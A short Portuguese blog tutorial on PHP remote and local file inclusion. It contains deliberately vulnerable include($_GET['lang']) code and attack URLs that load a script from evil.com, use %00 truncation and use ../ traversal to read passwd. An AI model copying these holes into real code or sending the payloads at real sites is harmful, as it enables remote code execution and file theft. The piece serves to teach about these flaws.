PHP - Inclusão local/remota de ficheiros

Quando construímos algum programa, temos de ter em conta a segurança. E se esse programa for para acesso público, ainda mais.

É o caso da maior parte das aplicações web. Actualmente as falhas de segurança mais comuns são:

  • RFI Inclusão remota de ficheiros
  • LFI Inclusão local de ficheiros
  • SQL INJECTION
  • XSS
  • E outras variantes…

Exemplos de códigos vulneráveis escritos em PHP e respectivos ataque. (RFI e LFI)

Código:

<?php

// php01.php

include($_GET['lang']);

echo “Seleccionou a linguagem {$_GET['lang']}”;

?>

Ataque:

http://site-da-victima.pt/php01.php?lang=http://evil.com/xxx.php

Então você pensa, se eu substituir include($_GET['lang']); por include($_GET['lang'].’lang.php’); já não há problema… Esta muito enganado!!EHEHEH

Código:

<?php

// php01.php

include($_GET['lang'].’lang.php’);

echo “Seleccionou a linguagem {$_GET['lang']}”;

?>

Ataque:

http://site-da-victima.pt/php01.php?lang=http://evil.com/xxx.php%00

O caracter %00 corresponde ao em C, que determinava o fim de uma string. Então o %00 faz com que tudo que esteja depois seja ignorado. E assim a string .’lang.php’ não será processada.

Se o %00 não funcionar pode tentar o caracter ?.

Então você pensa novamente. Se eu substituir include($_GET['lang'].’lang.php’); por include(’./langs/’.$_GET['lang'].’lang.php’); já não há qualquer hipotese.

Tem razão, em relação a inclusão remota, mas o código continua vulnerável à inclusão local.

Código:

<?php

// php01.php

include(’./langs/’.$_GET['lang'].’lang.php’);

echo “Seleccionou a linguagem {$_GET['lang']}”;

?>

Ataque:

http://site-da-victima.pt/php01.php?lang=../../../../../passwd%00

ou então

http://site-da-victima.pt/php01.php?lang=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fpasswd%00

Também é possível injectar código PHP em imagens, para posteriormente ser executado recorrendo à LFI.

Leave a Reply